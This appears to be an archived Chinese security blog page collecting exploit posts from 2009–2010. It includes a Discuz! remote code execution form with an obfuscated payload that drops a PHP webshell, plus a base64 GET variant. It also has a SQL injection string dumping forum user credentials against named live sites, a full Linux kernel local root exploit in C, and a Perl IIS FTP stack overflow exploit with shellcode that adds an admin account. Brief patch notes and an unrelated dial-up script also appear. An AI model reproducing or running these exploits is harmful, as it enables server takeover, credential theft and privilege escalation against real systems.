DedeCms v5.5 0day
2010年3月10日
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官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志
存档
‘矩阵毒刺’ 分类的存档
MyBB 1.4 admin remote code execution vulnerability
2010年1月18日
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discuz!7.1、7.2远程代码执行漏洞exploit
2010年1月7日
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1.注册一个新用户
2.Exp代码如下：
<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).
chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).
chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).
chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).
chr(99).chr(104).chr(101).chr(47).chr(117).
chr(115).chr(101).chr(114).chr(103).chr(114).
chr(111).chr(117).chr(112).chr(95).chr(48).
chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).
chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).
chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).
chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).
chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).
chr(91).chr(99).chr(109).chr(100).chr(93).
chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
chr解码后是：
value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');
保存html
打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd
第二种方法：
直接GET，利用语句：
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),
base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法：
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁：
http://www.discuz.net/thread-1537673-1-1.html
Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版
2009年9月20日
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绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。
Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit
2009年9月4日
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#!/usr/bin/env python
#
# *** Acrobat Reader - Collab getIcon universal exploiter ***
# evil_pdf.py, tested on Operating Systems:
# Windows XP SP3 English/French
# Windows 2003 SP2 English
# with Application versions:
# Adobe Reader 9.0.0/8.1.2 English/French
# Test methods:
# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.
# [Coromputer] raised from the ashes.
#http://www.coromputer.net/CVE-2009-0927_package.zip
back: http://milw0rm.com/sploits/2009-CVE-2009-0927_package.zip
# milw0rm.com [2009-09-03]
让 Windows 开机自动拨号上网
2009年9月4日
2 条评论
1. 将以下代码复制、粘贴到记事本
2. 把代码中的“宽带连接”修改为你建立的的拨号网络连接的名称，账号、密码分别修改为你的 ADSL 账号和密码
3. 将代码另存为：拨号.vbs，此时双击即可实现拨号
4. 把“拨号.vbs” 拖到开始菜单的启动项里
5. 完成。
Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability
2009年9月4日
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=========================================================
Discuz! Plugin JiangHu < = 1.1 Sql injection Vulnerability
=================================================================================[Author]=========================
[+] Founded : ZhaoHuAn
[+] Contact : ZhengXing[at]shandagames[dot]com
[+] Blog : http://www.patching.net/zhaohuan/
[+] Date : Feb, 9th 2009
[+] Update : Sep, 1th 2009========================[Soft Info]======================
Software: Discuz! Plugin JiangHu Inn
Version : 1.1
Vendor : http://www.discuz.com
d0rk : inurl:forummission.php[-] Exploit:
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--[-] SqlI PoC:
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--[+] Demo Live:
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--
/---------------------------------------------www.zhaohuan.net-------------------------------------------------\
Greetz : Snda Security Team
& Normal is boring - -!\--------------------------------------------------------------------------------------------------------------/
Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)
2009年9月2日
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#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2
# Affects IIS6 with stack cookie protection
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell on port 4444
# http://www.offensive-security.com/0day/msftp.pl.txt
阅读全文...
Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
2009年9月1日
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漏洞利用程序：
/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
** exploit by
.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>
unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
unsigned *addr=task;
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
addr++;
}
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
return;
}
void exploit();
void kernel_code()
{
asm("exploit:\n"
"push %eax\n"
"movl $0xfffff000,%eax\n"
"andl %esp,%eax\n"
"pushl (%eax)\n"
"call get_root_uid\n"
"addl $4,%esp\n"
"popl %eax\n");
return;
}
void *kernel=kernel_code;
int main(int argc, char **argv)
{
int fd=0;
char buf[1024];
struct sockaddr x0x;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(unsigned long *)0x0=0x90909090;
*(char *)0x00000004=0x90; /* +1 */
*(char *)0x00000005=0xff;
*(char *)0x00000006=0x25;
*(unsigned long *)0x00000007=(unsigned long)&kernel;
*(char *)0x0000000b=0xc3;
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
if(getuid()==uid){
printf("[-] exploit failed, try again\n");
return -1;
}
close(fd);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */Microsoft IIS 5.0/6.0 FTP Server Remote Stack Overflow Exploit (win2k)
2009年9月1日
没有评论
# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl\n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = < $sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = < $sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = < $sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = < $sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = < $sock>;
print $x;
print $sock "SITE $v\r\n";
$x = < $sock>;
print $x;
print $sock "SITE $v\r\n";
$x = < $sock>;
print $x;
print $sock "SITE $v\r\n";
$x = < $sock>;
print $x;
print $sock "SITE $v\r\n";
$x = < $sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = < $sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = < $sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = < $sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = < $sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(< $new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope
# milw0rm.com [2009-08-31]
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